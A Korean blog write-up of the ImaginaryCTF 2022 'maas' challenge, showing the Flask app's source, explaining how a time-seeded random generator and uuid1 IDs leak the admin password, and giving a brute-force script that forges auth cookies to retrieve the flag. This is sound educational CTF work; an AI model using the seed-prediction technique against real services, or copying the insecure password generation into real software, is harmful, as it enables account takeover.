Post

[ImaginaryCTF 2022] maas

mass

Untitled CTF๋ฅผ ํ’€ ๋•Œ๋Š” ๋Œ๋‹ค๋ฆฌ๋„ ๋‘๋“œ๋ ค ๋ณด๊ณ  ๊ฑด๋„ˆ๋ผ ๋ผ๋Š” ๊ตํ›ˆ์„ ์ค€ ๋ฌธ์ œ์˜€๋‹ค.

Untitled Untitled

๋ฌธ์ œ์˜ ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€์™€ ํšŒ์›๊ฐ€์ž… ํŽ˜์ด์ง€์ด๋‹ค. ํšŒ์›๊ฐ€์ž…์€ Username๋งŒ ์ž…๋ ตํ•ด์ฃผ๋ฉด ๋œ๋‹ค.

Untitled

test1 ์œผ๋กœ ํšŒ์›๊ฐ€์ž… ํ–ˆ๋”๋‹ˆ Password๋ฅผ ๋ฟŒ๋ ค์ค€๋‹ค. Password๋ฅผ ๋งŒ๋“ค์–ด์ฃผ๋Š” ๋กœ์ง์ด ์žˆ๋Š” ๊ฒƒ ๊ฐ™๋‹ค.

Untitled

์ฃผ์–ด์ง„ ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ ๋กœ๊ทธ์ธํ–ˆ๋”๋‹ˆ admin๋งŒ์ด flag๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค๊ณ  ํ•œ๋‹ค.
์ฝ”๋“œ๋ฅผ ๋ณด๋ฉฐ admin ๊ฒ€์ฆ ๋กœ์ง์„ ์‚ดํŽด๋ณด์ž.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from flask import Flask, render_template, request, make_response, redirect
from hashlib import sha256
import time
import uuid
import random

app = Flask(__name__)

memes = [l.strip() for l in open("memes.txt").readlines()]
users = {}
taken = []

def adduser(username):
  if username in taken:
    return "username taken", "username taken"
  password = "".join([random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") for _ in range(30)])
  cookie = sha256(password.encode()).hexdigest()
  users[cookie] = {"username": username, "id": str(uuid.uuid1())}
  taken.append(username)
  return cookie, password

@app.route('/')
def index():
    return redirect("/login")

@app.route('/users')
def listusers():
  return render_template('users.html', users=users)

@app.route('/users/<id>')
def getuser(id):
  for k in users.keys():
    if users[k]["id"] == id:
      return f"Under construction.<br><br>User {users[k]['username']} is a very cool user!"

@app.route('/login', methods=['GET', 'POST'])
def login():
  if request.method == "POST":
    resp = make_response(redirect('/home'))
    cookie = sha256(request.form["password"].encode()).hexdigest()
    resp.set_cookie('auth', cookie)
    return resp
  else:
    return render_template('login.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
  if request.method == "POST":
    cookie, password = adduser(request.form["username"])
    resp = make_response(f"Username: {request.form['username']}<br>Password: {password}")
    resp.set_cookie('auth', cookie)
    return f"Username: {request.form['username']}<br>Password: {password}"
  else:
    return render_template('register.html')

@app.route('/home', methods=['GET'])
def home():
    cookie = request.cookies.get('auth')
    username = users[cookie]["username"]
    if username == 'admin':
        flag = open('flag.txt').read()
        return render_template('home.html', username=username, message=f'Your flag: {flag}', meme=random.choice(memes))
    else:
        return render_template('home.html', username=username, message='Only the admin user can view the flag.', meme=random.choice(memes))

@app.errorhandler(Exception)
def handle_error(e):
    return redirect('/login')

def initialize():
  random.seed(round(time.time(), 2))
  adduser("admin")

initialize()
app.run('0.0.0.0', 8080)

home() ์„ ์‚ดํŽด๋ณด๋ฉด ์ฟ ํ‚ค๊ฐ’์œผ๋กœ admin ๊ฒ€์ฆ์„ ํ•œ๋‹ค. ๊ณ„์ •๋งˆ๋‹ค ๊ณ ์œ ํ•œ ๊ฐ’์„ ๊ฐ€์ง€๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์—
admin์ด ์•„๋‹Œ ๋‹ค๋ฅธ ๊ณ„์ •์œผ๋กœ FLAG๋ฅผ ์–ป๋Š” ๊ฒƒ์€ ์‚ฌ์‹ค์ƒ ๋ถˆ๊ฐ€๋Šฅํ•ด ๋ณด์ธ๋‹ค.
admin์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ์•„๋‚ด admin์œผ๋กœ ๋กœ๊ทธ์ธํ•˜๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•ด์•ผ ํ•  ๊ฒƒ ๊ฐ™๋‹ค.

Untitled

/user ๊ฒฝ๋กœ์— ์ ‘์†ํ•ด๋ณด๋ฉด ํšŒ์›๊ฐ€์ž…ํ•œ ๋ชจ๋“  user๋“ค์ด ๋ณด์ธ๋‹ค. ์ œ์ผ ์œ„์— admin์ด ๋ณด์ธ๋‹ค.

Untitled

admin์„ ํด๋ฆญํ•ด ๋ณด๋ฉด ์ด๋Ÿฌํ•œ ํŽ˜์ด์ง€๊ฐ€ ๋‚˜์˜ค๊ณ  ์ด ํŽ˜์ด์ง€์—์„œ ์•Œ ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์€ /users ๋’ค์˜ ๊ฒฝ๋กœ์ธ admin id ๋ฟ์ด๋‹ค.
์—ฌ๊ธฐ์„œ ๋”์ด์ƒ ํ•  ์ˆ˜ ์žˆ๋Š”๊ฒƒ์ด ์—†์–ด ๊ฝค ์˜ค๋žœ์‹œ๊ฐ„ ์‚ฝ์งˆํ–ˆ๋‹ค.




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 def adduser(username):
  if username in taken:
    return "username taken", "username taken"
  password = "".join([random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") for _ in range(30)])
  cookie = sha256(password.encode()).hexdigest()
  users[cookie] = {"username": username, "id": str(uuid.uuid1())}
  taken.append(username)
  return cookie, password

def initialize():
  random.seed(round(time.time(), 2))
  adduser("admin")

initialize()
app.run('0.0.0.0', 8080)

๋‹ค์‹œ ์ฝ”๋“œ๋กœ ๋Œ์•„์™€ ์‚ดํŽด๋ณด๋ฉด password์™€ cookie ๊ทธ๋ฆฌ๊ณ  id๋ฅผ ๋งŒ๋“œ๋Š” ๋กœ์ง์ด ์žˆ๋‹ค.
random.choice()๋กœ password๋ฅผ ๋งŒ๋“ค๊ณ  sha256์œผ๋กœ hashingํ•ด cookie๋ฅผ ๋งŒ๋“ ๋‹ค.

์—ฌ๊ธฐ์„œ initialize()์˜ radome.seed()๋ฅผ ๋ณด๋ฉด ์„œ๋ฒ„๊ฐ€ ์ฒ˜์Œ ์—ด๋ฆด ๋•Œ seed๊ฐ’์„ ์„ค์ •ํ•ด์ฃผ๋ฉด์„œ admin๊ณ„์ •์„ ๋งŒ๋“ค์–ด ์ค€๋‹ค. seed๊ฐ’์€ time.time() ๊ฐ’์„ ์†Œ์ฃผ์  ๋‘˜์งธ์ž๋ฆฌ๊นŒ์ง€ ๋ฐ˜์˜ฌ๋ฆผํ•œ ๊ฐ’์ด๋‹ค.

python์˜ random.choice๋Š” seed๊ฐ’์˜ ์˜ํ–ฅ์„ ๋ฐ›๋Š”๋‹ค. seed๊ฐ’์ด ๊ฐ™์œผ๋ฉด random.choice๊ฐ€ ๊ฐ™์€ ๊ฒฐ๊ณผ๋ฅผ ๋ฆฌํ„ดํ•œ๋‹ค. ์šฐ๋ฆฌ๊ฐ€ time.time() ๊ฐ’๋งŒ ์•Œ ์ˆ˜ ์žˆ์œผ๋ฉด seed ๊ฐ’์„ ์•Œ์•„๋‚ด admin์˜ cookie๊ฐ’์„ ์ฐพ์•„๋‚ผ ์ˆ˜ ์žˆ๋‹ค.

1
users[cookie] = {"username": username, "id": str(uuid.uuid1())}

์—ฌ๊ธฐ์„œ ์ฃผ๋ชฉํ•ด์•ผ ํ•  ๋ถ€๋ถ„์€ uuid.uuid1์ด๋‹ค. ๋Œ€์ˆ˜๋กญ์ง€ ์•Š๊ฒŒ ๋„˜๊ฒผ๋˜ uuid1์€
host ID, ์‹œํ€€์Šค ๋ฒˆํ˜ธ, ๋ฐ ํ˜„์žฌ ์‹œ๊ฐ์œผ๋กœ UUID๋ฅผ ์„ค์ •ํ•œ๋‹ค. ์ฆ‰ uuid1์œผ๋กœ ์ƒ์„ฑ๋œ admin์˜ ID๋ฅผ decodeํ•ด๋ณด๋ฉด ๊ณ„์ •์ด ์ƒ์„ฑ๋œ ์‹œ๊ฐ„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

Untitled

UUID ๋””์ฝ”๋”๋กœ ์‹œ๊ฐ„์„ ์•Œ์•„๋ƒˆ๋‹ค. ์ด์ œ ์•Œ์•„๋‚ธ ์‹œ๊ฐ„์˜ format์„ time.time()์ฒ˜๋Ÿผ unix timestamp๋กœ ๋ณ€ํ™˜ํ•˜๋ฉด

Untitled

์ฝ”๋“œ๊ฐ€ ๋Œ์•„๊ฐ€๋Š” ์‹œ๊ฐ„์ด ํ•„์š”ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์ •ํ™•ํ•œ seed๊ฐ’์ด ์•„๋‹Œ ๊ทผ์‚ฌ๊ฐ’์„ ์•Œ์•„๋ƒˆ๋‹ค.
๋”ฐ๋ผ์„œ ๋งž๋Š” seed๊ฐ’์ด ๋‚˜์˜ฌ ๋•Œ ๊นŒ์ง€ cookie๋ฅผ ๋งŒ๋“ค์–ด /home๊ฒฝ๋กœ์— ์ ‘์†ํ•˜๋ฉด flag๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ์„ ๊ฒƒ ๊ฐ™๋‹ค.

์‹œ๊ฐ„์€ ์—ฐ์†์ ์ด๊ธฐ ๋•Œ๋ฌธ์— ๊ธฐ๋ณธ์ ์œผ๋กœ ์†Œ์ˆ˜์ ์„ ๋ถ™์—ฌ ์ฃผ์—ˆ์ง€๋งŒ ํ˜„์žฌ ๋‘˜์งธ์งœ๋ฆฌ๊นŒ์ง€ ๋ฐ˜์˜ฌ๋ฆผํ•ด ์ฃผ์—ˆ๊ธฐ ๋•Œ๋ฌด๋„น 0.01์”ฉ ๋”ํ•ด์ฃผ๋ฉฐ cookie๋ฅผ ๋งŒ๋“ค์–ด ์ฃผ๋ฉด ๋  ๊ฒƒ ๊ฐ™๋‹ค.




Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests, time
import random
from hashlib import sha256

i = 1658155912

for count in range(1000):
    random.seed(round(i, 2))
    password ="".join([random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") for _ in range(30)])
    cookie = sha256(password.encode()).hexdigest()

    URL = "http://maas.chal.imaginaryctf.org/home"
    cookies = {"auth":cookie}
    res = requests.get(URL, cookies=cookies)

    if "Hello admin!" in res.text:
        print(res.text)
        break
    else:
        fail = str(count)+ " try " + cookie
        print(fail)
        i += 0.01

๋ฌธ์ œ๋ฅผ ํ’€๊ธฐ์œ„ํ•œ script์ด๋‹ค. ์ด script๋ฅผ ๋Œ๋ ค๋ณด๋ฉด

Untitled

flag๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค. ๋žœ๋ค๊ฐ’์ด๋ผ๊ณ  ๊ทธ๋ƒฅ ์ง€๋‚˜์ณค๋˜ UUID์— ๋Œ€ํ•ด ๋‹ค์‹œ ๊ณต๋ถ€ํ•  ์ˆ˜ ์žˆ๋Š” ๊ณ„๊ธฐ๊ฐ€ ๋˜์—ˆ๋˜ ๊ฒƒ ๊ฐ™๋‹ค.

FLAG : ictf{d0nt_use_uuid1_and_please_generate_passw0rds_securely_192bfa4d}

This post is licensed under CC BY 4.0 by the author.